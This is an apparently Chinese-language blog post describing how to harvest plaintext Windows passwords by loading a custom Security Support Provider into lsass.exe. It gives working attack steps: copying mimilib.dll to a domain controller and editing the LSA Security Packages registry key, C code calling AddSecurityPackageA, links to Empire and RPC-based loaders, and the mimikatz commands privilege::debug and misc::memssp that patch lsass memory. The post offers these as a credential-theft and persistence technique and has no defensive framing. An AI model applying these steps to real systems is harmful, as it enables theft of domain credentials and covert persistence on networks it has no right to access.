Loading

SSP密码记录

一、简介

SSP:Security Support Provider,直译为安全支持提供者,又名Security Package.
简单的理解为SSP就是一个DLL,用来实现身份认证。
SSPI:Security Support Provider Interface,直译为安全支持提供程序接口,是Windows系统在执行认证操作所使
用的API。
简单的理解为SSPI是SSP的API接口
LSA:Local Security Authority,用于身份认证,常见进程为lsass.exe
特别的地方在于LSA是可扩展的,在系统启动的时候SSP会被加载到进程lsass.exe中.
这相当于我们可以自定义一个dll,在系统启动的时候被加载到进程lsass.exe

如图,这是正常的SSPI结构图,Client APP是我们自定义的dll,通过Secur32.dll可以调用"credential captureAPI"来获取LSA的信息

上图展示了攻击思路,既然可以自定义dll,那么我们就可以定制dll的功能,通过 Named Pipe 和 Shared Memory 直接获取 lsass.exe 中的明文密码,并且能够在其更改密码时立即获得新密码。

二、mimilib SSP

mimikatz早已支持这个功能,而这个文件就是我们使用的时候常常忽略的mimilib.dll

1、添加SSP

将mimilib.dll复制到域控 c:\windows\system32下
设置SSP
修改域控注册表位置:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\


重启系统
域控重启后在 c:\windows\system32 可看到新生成的文件kiwissp.log

2、使用API AddSecurityPackage

(1)复制文件
同方法1
(2)修改注册表
同方法1
(3)调用AddSecurityPackage
测试代码如下:

#define SECURITY_WIN32
#include <stdio.h>
#include <Windows.h>
#include <Security.h>
#pragma comment(lib,"Secur32.lib")
int main(int argc, char **argv) {
SECURITY_PACKAGE_OPTIONS option;
option.Size = sizeof(option);
option.Flags = 0;
option.Type = SECPKG_OPTIONS_TYPE_LSA;
option.SignatureSize = 0;
option.Signature = NULL;
SECURITY_STATUS SEC_ENTRYnRet = AddSecurityPackageA("mimilib", &option);
printf("AddSecurityPackage return with 0x%X\n", SEC_ENTRYnRet);
}

添加成功,如果此时输入了新的凭据(例如runas,或者用户锁屏后重新登录),将会生成文件 kiwissp.log
方法2的自动化实现:
https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/persistence/Install-SSP.ps1

3、使用RPC控制lsass加载SSP

XPN开源的代码:
https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e
测试如下图

添加成功
优点:
不需要写注册表
不调用API AddSecurityPackage
不需要对lsass进程的内存进行写操作
lasss进程中不存在加载的dll

三、Memory Updating of SSPs

mimikatz同时还支持通过内存更新ssp,这样就不需要重启再获取账户信息
需要使用mimikatz.exe,命令如下:

privilege::debug
misc::memssp

通过修改lsass进程的内存,实现从lsass进程中提取凭据

命令执行后,如果此时输入了新的凭据(例如runas,或者用户锁屏后重新登录),将会在 c:\windows\system32 下生成文件 mimilsa.log

posted @ 2021-08-22 19:58  Ctrl_C+Ctrl_V  阅读(656)  评论(0)    收藏  举报